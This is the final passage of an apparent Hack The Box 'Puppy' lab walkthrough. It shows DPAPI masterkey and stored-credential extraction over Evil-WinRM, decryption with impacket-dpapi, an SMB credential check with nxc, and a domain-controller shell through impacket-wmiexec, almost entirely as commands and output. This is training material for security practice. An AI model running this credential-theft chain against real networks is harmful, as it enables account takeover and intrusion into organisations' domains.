*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407'))

AgAAAAAAAAAAAAAANQA1ADYAYQAyADQAMQAyAC0AMQAyADcANQAtADQAYwBjAGYALQBiADcAMgAxAC0AZQA2AGEAMABiADQAZgA5ADAANAAwADcAAABqVXUSz0wAAAAAiAAAAAAAAABoAAAAAAAAAAAAAAAAAAAAdAEAAAAAAAACAAAAsj8xITRBgEgAZOArghULmlBGAAAJgAAAA2YAAPtTG5NorNzxhcfx4/jYgxj+JK0HBHMu8jL7YmpQvLiX7P3r8JgmUe6u9jRlDDjMOHDoZvKzrgIlOUbC0tm4g/4fwFIfMWBq0/fLkFUoEUWvl1/BQlIKAYfIoVXIhNRtc+KnqjXV7w+BAgAAAIIHeThOAhE+Lw/NTnPdszJQRgAACYAAAANmAAAnsQrcWYkrgMd0xLdAjCF9uEuKC2mzsDC0a8AOxgQxR93gmJxhUmVWDQ3j7+LCRX6JWd1L/NlzkmxDehild6MtoO3nd90f5dACAAAAAAEAAFgAAADzFsU+FoA2QrrPuakOpQmSSMbe5Djd8l+4J8uoHSit4+e1BHJIbO28uwtyRxl2Q7tk6e/jjlqROSxDoQUHc37jjVtn4SVdouDfm52kzZT2VheO6A0DqjDlEB19Qbzn9BTpGG4y7P8GuGyN81sbNoLN84yWe1mA15CSZPHx8frov6YwdLQEg7H8vyv9ZieGhBRwvpvp4gTur0SWGamc7WN590w8Vp98J1n3t3TF8H2otXCjnpM9m6exMiTfWpTWfN9FFiL2aC7Gzr/FamzlMQ5E5QAnk63b2T/dMJnp5oIU8cDPq+RCVRSxcdAgUOAZMxPs9Cc7BUD+ERVTMUi/Jp7MlVgK1cIeipAl/gZz5asyOJnbThLa2ylLAf0vaWZGPFQWaIRfc8ni2iVkUlgCO7bI9YDIwDyTGQw0Yz/vRE/EJvtB4bCJdW+Ecnk8TUbok3SGQoExL3I5Tm2a/F6/oscc9YlciWKEmqQ=

and decoding it in our attacker machine:

❯ echo -n 'AgAAAAAAAAAAAAAANQA1ADYAYQAyADQAMQAyAC0AMQAyADcANQAtADQAYwBjAGYALQBiADcAMgAxAC0AZQA2AGEAMABiADQAZgA5ADAANAAwADcAAABqVXUSz0wAAAAAiAAAAAAAAABoAAAAAAAAAAAAAAAAAAAAdAEAAAAAAAACAAAAsj8xITRBgEgAZOArghULmlBGAAAJgAAAA2YAAPtTG5NorNzxhcfx4/jYgxj+JK0HBHMu8jL7YmpQvLiX7P3r8JgmUe6u9jRlDDjMOHDoZvKzrgIlOUbC0tm4g/4fwFIfMWBq0/fLkFUoEUWvl1/BQlIKAYfIoVXIhNRtc+KnqjXV7w+BAgAAAIIHeThOAhE+Lw/NTnPdszJQRgAACYAAAANmAAAnsQrcWYkrgMd0xLdAjCF9uEuKC2mzsDC0a8AOxgQxR93gmJxhUmVWDQ3j7+LCRX6JWd1L/NlzkmxDehild6MtoO3nd90f5dACAAAAAAEAAFgAAADzFsU+FoA2QrrPuakOpQmSSMbe5Djd8l+4J8uoHSit4+e1BHJIbO28uwtyRxl2Q7tk6e/jjlqROSxDoQUHc37jjVtn4SVdouDfm52kzZT2VheO6A0DqjDlEB19Qbzn9BTpGG4y7P8GuGyN81sbNoLN84yWe1mA15CSZPHx8frov6YwdLQEg7H8vyv9ZieGhBRwvpvp4gTur0SWGamc7WN590w8Vp98J1n3t3TF8H2otXCjnpM9m6exMiTfWpTWfN9FFiL2aC7Gzr/FamzlMQ5E5QAnk63b2T/dMJnp5oIU8cDPq+RCVRSxcdAgUOAZMxPs9Cc7BUD+ERVTMUi/Jp7MlVgK1cIeipAl/gZz5asyOJnbThLa2ylLAf0vaWZGPFQWaIRfc8ni2iVkUlgCO7bI9YDIwDyTGQw0Yz/vRE/EJvtB4bCJdW+Ecnk8TUbok3SGQoExL3I5Tm2a/F6/oscc9YlciWKEmqQ=' | base64 -d > 556a2412-1275-4ccf-b721-e6a0b4f90407

We can then use dpapi.py from Impacket suite to extract the content from DPAPI files. First, extract the content inside the masterkey find using this file, steph.cooper password and its SID:

❯ impacket-dpapi masterkey -f 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid 'S-1-5-21-1487982659-1829050783-2281216199-1107' -password 'ChefSteph2025!'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags       :        0 (0)
Policy      : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

This returns a Decrypted key that we will use now.

Use the Decrypted key value from the previous command to extract the content of the credential at DPAPI file:

❯ impacket-dpapi credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key '0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=PUPPY.HTB
Description :
Unknown     :
Username    : steph.cooper_adm
Unknown     : FivethChipOnItsWay2025!

We have credentials: steph.cooper_adm:FivethChipOnItsWay2025!.

Check if these credentials work in the target machine for SMB service:

❯ nxc smb 10.129.246.234 -u 'steph.cooper_adm' -p 'FivethChipOnItsWay2025!'

SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\steph.cooper_adm:FivethChipOnItsWay2025! (Pwn3d!)

They worked. Additionally, we get Pwn3d! message for SMB service, which means that steph.cooper_adm is an administrator in this machine.

Finally, we can use a tool such as wmiexec.py from Impacket to gain a shell in the DC machine as this privileged user:

❯ impacket-wmiexec PUPPY.HTB/steph.cooper_adm:'FivethChipOnItsWay2025!'@10.129.246.234

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami

puppy\steph.cooper_adm

GG. We can grab the root flag at Administrator’s Desktop.

~Happy Hacking.